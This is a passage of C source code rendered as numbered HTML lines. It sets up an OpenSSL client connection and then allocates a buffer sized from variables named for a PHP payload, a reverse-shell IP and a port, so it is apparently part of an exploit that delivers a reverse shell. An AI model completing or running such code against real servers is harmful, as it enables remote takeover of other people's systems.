<DIV class="line number408 index407 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;sslconnection-&gt;ctx = SSL_CTX_new(SSLv23_client_method());</DIV>

<DIV class="line number409 index408 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (!sslconnection-&gt;ctx) {</DIV>

<DIV class="line number410 index409 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("SSL_CTX_new error (11)\n");</DIV>

<DIV class="line number411 index410 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number412 index411 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number413 index412 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number414 index413 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;sslconnection-&gt;handle = SSL_new(sslconnection-&gt;ctx);</DIV>

<DIV class="line number415 index414 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (!sslconnection-&gt;handle) {</DIV>

<DIV class="line number416 index415 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("SSL_new error (12)\n");</DIV>

<DIV class="line number417 index416 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);&nbsp;&nbsp; </DIV>

<DIV class="line number418 index417 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number419 index418 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (!SSL_set_fd(sslconnection-&gt;handle, sockfd)) {</DIV>

<DIV class="line number420 index419 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("SSL_set_fd error (13)\n");</DIV>

<DIV class="line number421 index420 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number422 index421 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number423 index422 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number424 index423 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (SSL_connect(sslconnection-&gt;handle) != 1) {</DIV>

<DIV class="line number425 index424 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("SSL_connect error (14)\n");</DIV>

<DIV class="line number426 index425 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </DIV>

<DIV class="line number427 index426 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number428 index427 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number429 index428 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number430 index429 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;tmpsize = strlen(phpstr) + strlen(reverseip) + strlen(reverseportstr) + 64;</DIV>

<DIV class="line number431 index430 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;tmpstr = (char*)calloc(tmpsize, sizeof(char));</DIV>

